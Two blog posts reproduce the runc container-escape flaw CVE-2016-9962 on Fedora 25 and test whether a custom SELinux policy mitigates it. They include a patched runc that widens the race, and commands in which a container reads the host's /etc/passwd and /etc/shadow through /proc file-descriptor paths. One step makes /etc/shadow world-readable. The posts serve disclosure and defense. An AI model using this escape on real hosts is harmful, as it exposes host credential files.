So this means runc is working in unconfined_t domain, then that runc is having lots of permissions(actually un-confined) from SELinux.
This is a reason why SELinux couldn't mitigate my previous PoC.

Assign "container_t" domain on runc.

When I checked Fedora25 SELinux Policy, I found that container_t domain is switched from container_runtime_t(which is domain for docker process, etc.). And container_runtime_t is transited from initrc domain by exec container_runtime_exec_t file(/usr/bin/runc), such as;
[root@fedora25 ~]# ls -lZ /usr/bin/runc
-rwxr-xr-x. 1 root root system_u:object_r:container_runtime_exec_t:s0 5016704 Jan 20 19:26 /usr/bin/runc



./container.cil:(typetransition initrc_domain container_runtime_exec_t process container_runtime_t)
Then, for doing PoC more close to existance situation, we need to run "runc" as "container_t" domain.
For running "runc" as "container_t" domain, we need to add several policy (typetransition rule and more allow rule) to transit from unconfined_t to container_t domain. Also I changed PoC directory from /root to /tmp.

Changed PoC directory.

For more easy to write Policy for this PoC, I changed PoC directory to /tmp /PoC-CVE-2016-9962;
[root@fedora25 PoC-CVE-2016-9962]# pwd
/tmp/PoC-CVE-2016-9962
[root@fedora25 PoC-CVE-2016-9962]# ls -l
total 4
-rw-r--r--.  1 root root 2364 Jan 20 09:04 config.json
drwxr-xr-x. 18 root root  380 Jan 23 12:33 rootfs

Additional Policy

Just for PoC, I made below policy rule file as "/root/custom_policy/runc.cil";
(typetransition unconfined_usertype container_runtime_exec_t process container_t
)
(roletransition unconfined_r container_runtime_exec_t process system_r)

(allow container_t user_tmp_t (file (open read execute execute_no_trans)))
(allow container_t var_run_t (dir (write add_name create setattr remove_name rmd
ir)))
(allow container_t var_run_t (fifo_file (create setattr unlink read open)))
(allow container_t ptmx_t (chr_file (read write open ioctl)))
(allow container_t devpts_t (chr_file (setattr read write open ioctl getattr)))
(allow container_t root_t (dir (mounton)))
(allow container_t user_tmp_t (dir (mounton write add_name create remove_name rm
dir)))
(allow container_t user_tmp_t (lnk_file (read)))
(allow container_t proc_t (filesystem (mount remount)))
(allow container_t tmpfs_t (filesystem (mount remount)))
(allow container_t tmpfs_t (dir (setattr write add_name create mounton)))
(allow container_t devpts_t (filesystem (mount)))
(allow container_t sysfs_t (filesystem (mount)))
(allow container_t cgroup_t (filesystem (remount)))
(allow container_t tmpfs_t (lnk_file (create)))
(allow container_t tmpfs_t (chr_file (create setattr read write open getattr ioc
tl append)))
(allow container_t tmpfs_t (file (open create mounton)))
(allow container_t proc_t (dir (mounton)))
(allow container_t proc_t (file (mounton)))
(allow container_t sysctl_irq_t (dir (mounton)))
(allow container_t sysctl_t (dir (mounton)))
(allow container_t sysctl_t (file (mounton)))
(allow container_t proc_kcore_t (file (mounton)))
(allow container_t nsfs_t (file (getattr read open)))
(allow container_t var_run_t (file (create read write open unlink)))
(allow container_t sysfs_t (dir (mounton)))
(allow container_t kernel_t (unix_stream_socket (read write)))
(allow init_t kernel_t (unix_stream_socket (read write)))
(allow container_t init_t (unix_stream_socket (read write)))
[root@fedora25 custom_policy]# cat runc.cil
(typetransition unconfined_usertype container_runtime_exec_t process container_t)
(roletransition unconfined_r container_runtime_exec_t process system_r)

(allow container_t user_tmp_t (file (open read execute execute_no_trans)))
(allow container_t var_run_t (dir (write add_name create setattr remove_name rmdir)))
(allow container_t var_run_t (fifo_file (create setattr unlink read open)))
(allow container_t ptmx_t (chr_file (read write open ioctl)))
(allow container_t devpts_t (chr_file (setattr read write open ioctl getattr)))
(allow container_t root_t (dir (mounton)))
(allow container_t user_tmp_t (dir (mounton write add_name create remove_name rmdir)))
(allow container_t user_tmp_t (lnk_file (read)))
(allow container_t proc_t (filesystem (mount remount)))
(allow container_t tmpfs_t (filesystem (mount remount)))
(allow container_t tmpfs_t (dir (setattr write add_name create mounton)))
(allow container_t devpts_t (filesystem (mount)))
(allow container_t sysfs_t (filesystem (mount)))
(allow container_t cgroup_t (filesystem (remount)))
(allow container_t tmpfs_t (lnk_file (create)))
(allow container_t tmpfs_t (chr_file (create setattr read write open getattr ioctl append)))
(allow container_t tmpfs_t (file (open create mounton)))
(allow container_t proc_t (dir (mounton)))
(allow container_t proc_t (file (mounton)))
(allow container_t sysctl_irq_t (dir (mounton)))
(allow container_t sysctl_t (dir (mounton)))
(allow container_t sysctl_t (file (mounton)))
(allow container_t proc_kcore_t (file (mounton)))
(allow container_t nsfs_t (file (getattr read open)))
(allow container_t var_run_t (file (create read write open unlink)))
(allow container_t sysfs_t (dir (mounton)))
(allow container_t kernel_t (unix_stream_socket (read write)))
(allow init_t kernel_t (unix_stream_socket (read write)))
(allow container_t init_t (unix_stream_socket (read write)))

Load Additional Policy to PoC system

On the PoC system
[root@fedora25 ~]# semodule -i /root/custom_policy/runc.cil

Check custom policy is working or not.

After load runc.cil, run "runc run ctr" in a terminal;
[root@fedora25 PoC-CVE-2016-9962]# runc run ctr
/ #
Then open another terminal and check this "runc" program is working as "container_t" domain;
[root@fedora25 ~]# ps axZ|grep runc
unconfined_u:system_r:container_t:s0-s0:c0.c1023 6799 pts/1 Sl+   0:00 runc run ctr
If the "runc" is not working on container_t domain, chack /var/log/audit/audit.log and maybe add several another rules to runc.cil.

PoC(Again!)

  • open 2 terminals(shell1, shell2).
  • Check SELinux is enabled;
    [root@localhost ~]# getenforce
    Enforcing
    
  • run container(sh) in shell1;
    [root@localhost ~]# runc run ctr
    / #
    
  • run new container in shell2 with "runc exec" command. It is pausing 500sec;
    [root@localhost ~]# runc exec ctr sh
    
  • run "ps ax" in shell1. You can see shell2 process;
    [root@localhost ~]# runc run ctr
    / # ps ax
    PID   USER     TIME   COMMAND
        1 root       0:00 sh
        6 root       0:00 /proc/self/exe init
       11 root       0:00 ps ax
    / #
    
  • In above case, check /proc/6/fd by ls command. You see path as fd/4;
    / # ls -la /proc/6/fd/
    total 0
    dr-x------    2 root     root             0 Jan 16 06:43 .
    dr-xr-xr-x    9 root     root             0 Jan 16 06:43 ..
    lrwx------    1 root     root            64 Jan 16 06:43 0 -> /dev/pts/4
    lrwx------    1 root     root            64 Jan 16 06:43 1 -> /dev/pts/4
    lrwx------    1 root     root            64 Jan 16 06:43 2 -> /dev/pts/4
    lrwx------    1 root     root            64 Jan 16 06:43 3 -> socket:[40487]
    lr-x------    1 root     root            64 Jan 16 06:43 4 -> /run/runc/ctr
    lrwx------    1 root     root            64 Jan 16 06:43 5 -> /dev/pts/4
    lr-x------    1 root     root            64 Jan 16 06:43 6 -> pipe:[40496]
    l-wx------    1 root     root            64 Jan 16 06:43 7 -> /dev/null
    / #
    
  • Do ls /etc/shadow file by using "/proc/6/fd/4/../../../etc/shadow" path;
    / # ls -l /proc/6/fd/4/../../../etc/shadow
    ls: /proc/6/fd/4/../../../etc/shadow: Permission denied
    
Check /var/log/audit/audit.log;
    type=AVC msg=audit(1485143271.659:3107): avc:  denied  { getattr } for  pid=8847 comm="ls" path="/etc/shadow" dev="dm-0" ino=785423 scontext=unconfined_u:system_r:container_t:s0-s0:c0.c1023 tcontext=system_u:object_r:shadow_t:s0 tclass=file permissive=0
Fine, Now SELinux is protecting to search /etc/shadow file.
  • Also you can't read /etc/shadow file because the file permission is "000".
    / # cat /proc/6/fd/4/../../../etc/shadow
    cat: can't open '/proc/6/fd/4/../../../etc/shadow': Permission denied
    
If I change /etc/shadow file as "755" permission, the DAC control will permit to read the file.
    [root@fedora25 ~]# chmod 755 /etc/shadow
    [root@fedora25 ~]# ls -lh /etc/shadow
    -rwxr-xr-x. 1 root root 1.3K Jan 20 08:30 /etc/shadow
But still I can't read /etc/shadow file ;
    / # cat /proc/6/fd/4/../../../etc/shadow
    cat: can't open '/proc/6/fd/4/../../../etc/shadow': Permission denied
I could see in the /var/log/audit/audit.log file that the"read" action is denied by SELinux;
    type=AVC msg=audit(1485143502.183:3311): avc:  denied  { read } for  pid=9418 comm="cat" name="shadow" dev="dm-0" ino=785423 scontext=unconfined_u:system_r:container_t:s0-s0:c0.c1023 tcontext=system_u:object_r:shadow_t:s0 tclass=file permissive=0

Conclusion

Now we know from PoC that we could mitigate CVE-2016-9962 by enabling SELinux.
So we should enable SELinux in container environment also and making more safety(and keeping to have mitigate way even if in 0-day situation) environment.

2017年1月17日火曜日

Docker vulnerability (CVE-2016-9962) PoC with SELinux

Here we described how to reproduce CVE-2016-9962(vulnerability for Docker) and how can we protect it by using SELinux.
(Written by Kazuki Omo:ka-omo@sios.com).

Reference

https://bugzilla.redhat.com/show_bug.cgi?id=1409531

https://bugzilla.suse.com/show_bug.cgi?id=1012568#c2

Prepare for PoC

Here is a description how to reproduce it. I used Fedora25 for this PoC.
This vulnerability is quite hard to reproduce because there's not so much race window on runc. Also, we need to add "CAP_SYS_PTRACE" to container for checking other container's status.
  1. Install docker, runc on your PC.
    [root@localhost ~]# rpm -qa|grep -i docker
    golang-github-fsouza-go-dockerclient-devel-0.2.1-17.git2350d7b.fc25.noarch
    golang-github-docker-go-unit-test-devel-1.5.1-0.3.gitd30aec9.fc25.x86_64
    golang-github-docker-go-devel-1.5.1-0.3.gitd30aec9.fc25.noarch
    docker-devel-1.12.6-3.git51ef5a8.fc25.noarch
    golang-github-docker-libcontainer-devel-2.1.1-0.8.gitc964368.fc25.noarch
    docker-1.12.6-4.gitf499e8b.fc25.x86_64
    golang-github-docker-libcontainer-2.1.1-0.8.gitc964368.fc25.x86_64
    golang-github-docker-go-connections-devel-0.1.2-0.2.git6e4c13d.fc25.noarch
    docker-common-1.12.6-4.gitf499e8b.fc25.x86_64
    golang-github-docker-go-connections-unit-test-devel-0.1.2-0.2.git6e4c13d.fc25.x86_64
    golang-github-docker-go-units-devel-0.2.0-3.fc25.noarch
    [root@localhost ~]# rpm -qa|grep -i runc
    runc-1.0.0-3.rc2.gitc91b5be.fc25.x86_64
    runc-devel-0.1.1-4.git57b9972.fc25.noarch
    
  2. Start docker.
    [root@localhost ~]# systemctl start docker
    
  3. Use "alpine" image for PoC.
    [root@localhost ~]# docker pull alpine
    
  4. create alpine image (named "alpine")
    [root@localhost ~]# docker create alpine --name alpine
    
  5. check new alpine container name by using "docker ps -a". In below situation , "small_lumiere" is the name.
    [root@localhost ~]# docker ps -a
    [root@localhost ~]# docker ps -a
    CONTAINER ID        IMAGE               COMMAND             CREATED         
    STATUS              PORTS               NAMES
    965456106c88        alpine              "--name alpine"     6 hours ago     
    Created                                 small_lumiere
    
  6. create "rootfs" directory and copy all of alpine file under rootfs/
    [root@localhost ~]# mkdir rootfs
    [root@localhost ~]# docker export small_lumiere |tar xvfC - rootfs
    
  7. create config.json
    [root@localhost ~]# runc spec
    
  8. modify config.json for assign CAP_SYS_PTRACE capability.
                    "capabilities": [
                        "CAP_AUDIT_WRITE",
                        "CAP_KILL",
                        "CAP_SYS_PTRACE",
                        "CAP_NET_BIND_SERVICE"
                ],
    
  9. For PoC, we will modify runc source. Get/install runc SRPM and modify source code.
    [root@localhost ~]# rpm -ivh /tmp/runc-1.0.0-3.rc2.gitc91b5be.fc25.src.rpm
    [root@localhost ~]# cd SOURCES/
    [root@localhost ~]# ls
    runc-c91b5be.tar.gz
    [root@localhost ~]#
    [root@localhost ~]# mkdir ../work
    [root@localhost ~]# cd ../work/
    [root@localhost ~]# tar -xvzf ../SOURCES/runc-c91b5be.tar.gz
    [root@localhost ~]# cd runc-c91b5bea4830a57eac7882d7455d59518cdf70ec/
    [root@localhost runc-c91b5bea4830a57eac7882d7455d59518cdf70ec]# ls
    CONTRIBUTING.md       VERSION        main.go              script
    Dockerfile            checkpoint.go  main_solaris.go      signals.go
    Godeps                contrib        main_unix.go         spec.go
    LICENSE               create.go      main_unsupported.go  start.go
    MAINTAINERS           delete.go      man                  state.go
    MAINTAINERS_GUIDE.md  events.go      pause.go             tests
    Makefile              exec.go        ps.go                tty.go
    NOTICE                kill.go        restore.go           update.go
    PRINCIPLES.md         libcontainer   rlimit_linux.go      utils.go
    README.md             list.go        run.go               utils_linux.go
    [root@localhost runc-c91b5bea4830a57eac7882d7455d59518cdf70ec]# vi libcontainer/setns_init_linux.go
    
  10. We add 2 lines ;
    [root@localhost libcontainer]# diff -Nru setns_init_linux.go setns_init_linux.go.org 
     --- setns_init_linux.go  2017-01-16 15:26:01.067477093 +0900
     +++ setns_init_linux.go.org 2017-01-16 15:25:22.921553094 +0900
     @@ -5,6 +5,7 @@
    
    import ( "fmt" "os" + "time"
    "github.com/opencontainers/runc/libcontainer/apparmor" "github.com/opencontainers/runc/libcontainer/keys" @@ -49,5 +50,6 @@ if err := label.SetProcessLabel(l.config.ProcessLabel); err != nil { return err } + time.Sleep(500 * time.Second) return system.Execv(l.config.Args[0], l.config.Args[0:], os.Environ()) }
  11. make tar.gz and re-create runc package by using rpmbuild.
    [root@localhost work]# tar -cvfrunc-c91b5be.tar runc-c91b5bea4830a57eac7882d7455d59518cdf70ec
    [root@localhost work]# gzip runc-c91b5be.tar
    [root@localhost work]# cp runc-c91b5be.tar.gz ../SOURCES
    [root@localhost work]# cd ../SPECS/
    [root@localhost SPECS]# rpmbuild -ba runc.spec
    [root@localhost SPECS]# cd ~
    
  12. uninstall and re-install modified runc package;
    [root@localhost ~]# rpm -e runc
    [root@localhost ~]# rpm -ivh rpmbuild/RPMS/x86_64/runc-1.0.0-3.rc2.gitc91b5be.fc25.x86_64.rpm
    

PoC

  • open 2 terminals(shell1, shell2).
  • Check SELinux is enabled;
    [root@localhost ~]# getenforce
    Enforcing
    
  • run container(sh) in shell1;
    [root@localhost ~]# runc run ctr
    / #
    
  • run new container in shell2 with "runc exec" command. It is pausing 500sec;
    [root@localhost ~]# runc run ctr
    
  • run "ps ax" in shell1. You can see shell2 process;
    [root@localhost ~]# runc run ctr
    
    / # ps ax PID USER TIME COMMAND 1 root 0:00 sh 6 root 0:00 /proc/self/exe init 11 root 0:00 ps ax / #
  • In above case, check /proc/6/fd by ls command. You see path as fd/4;
    / # ls -la /proc/6/fd/
    total 0
    dr-x------    2 root     root             0 Jan 16 06:43 .
    dr-xr-xr-x    9 root     root             0 Jan 16 06:43 ..
    lrwx------    1 root     root            64 Jan 16 06:43 0 -> /dev/pts/4
    lrwx------    1 root     root            64 Jan 16 06:43 1 -> /dev/pts/4
    lrwx------    1 root     root            64 Jan 16 06:43 2 -> /dev/pts/4
    lrwx------    1 root     root            64 Jan 16 06:43 3 -> socket:[40487]
    lr-x------    1 root     root            64 Jan 16 06:43 4 -> /run/runc/ctr
    lrwx------    1 root     root            64 Jan 16 06:43 5 -> /dev/pts/4
    lr-x------    1 root     root            64 Jan 16 06:43 6 -> pipe:[40496]
    l-wx------    1 root     root            64 Jan 16 06:43 7 -> /dev/null
    / #
    
  • Check "/proc/6/fd/4/../../.." by ls command. You can see parent(host) / filesystem;
    / # ls -l /proc/6/fd/4/../../..
    total 64
    lrwxrwxrwx    1 root     root             7 Feb  3  2016 bin -> usr/bin
    dr-xr-xr-x    6 root     root          4096 Jan 16 00:07 boot
    drwxr-xr-x   19 root     root          3840 Jan 16 05:57 dev
    drwxr-xr-x  130 root     root         12288 Jan 16 05:40 etc
    drwxr-xr-x    3 root     root          4096 Oct 12 22:55 home
    
  • You can also read /etc/passwd by using "cat /proc/6/fd/4/../../../etc";
    / # cat /proc/6/fd/4/../../../etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    

Conclusion

Now we could see that CVE-2016-9962 PoC is successfull even if SELinux is enforcing. But we think this vulnerability is not critical because;
  • The race window is quite narrow(then we needed to modify runc source.)
  • We also need to add "CAP_SYS_PTRACE" on the container(it is removed in defau lt.)